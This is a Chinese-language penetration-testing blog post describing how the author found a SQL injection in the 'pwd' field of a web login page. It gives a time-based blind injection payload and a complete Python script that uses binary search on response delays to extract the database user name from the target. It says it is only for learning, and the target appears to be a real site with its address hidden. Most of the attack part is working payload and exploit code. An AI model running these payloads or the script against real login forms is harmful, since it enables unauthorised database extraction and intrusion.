前言
申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!
来自团队师傅 spaceman
Part.1 漏洞挖掘过程
登录页面如下
随便手动尝试了一下弱密码,无果,于是尝试输入一个单引号,鱼鱼鱼!报错,机会来了
于是抓包分析尝试一手
尝试在cc参数测试注入,发现好像也不太对
接着尝试,发现pwd位置好像才是注入点
于是闭合注释,正常回显了
于是继续测试,通过报错我们也得知了是mysql数据库
所以可以选择使用时间盲注
cc=1234&pwd=456’and if((length(database())=8),sleep(5),0))–+&key=
这里需要注意的是括号这个地方,因为这个与之前一般的sql注入不一样,这个括号是放在最后才不会出错,而不是放在单引号后面
了解了原理之后就可以自己编写二分法脚本了
老是sqlmap梭哈没多大意思,二分时间盲注脚本如下
Part.2 二分法盲注脚本
# -*- coding:utf-8 -*-
import requests
from requests import exceptions
url = 'http://ip/CheckUser'
def main():
result = ""
for i in range(1, 20):
low = 32
high = 128
while low < high:
mid = int((low + high) / 2)
content = "select user()"
sql = f"123'and if((ascii(substr(({content}),{i},1))<{mid}),sleep(5),0))-- "
data = {
"cc":'123456',
"pwd": sql,
"key":''
}
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0", "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": "http://ip", "Connection": "close", "Referer": "http://ip"}
r = requests.post(url=url, data=data,headers=headers)
if r.elapsed.total_seconds() > 5:
high = mid
else:
low = mid + 1
print("[+] After changing we got {} to {}".format(low, high))
if low == high == 32:
print("[*] Result is: {}".format(result))
break
print("[+] Now has {}".format(i))
result += chr(int((high + low - 1) / 2))
print("[*] Result now is: {}".format(result))
if __name__ == '__main__':
main()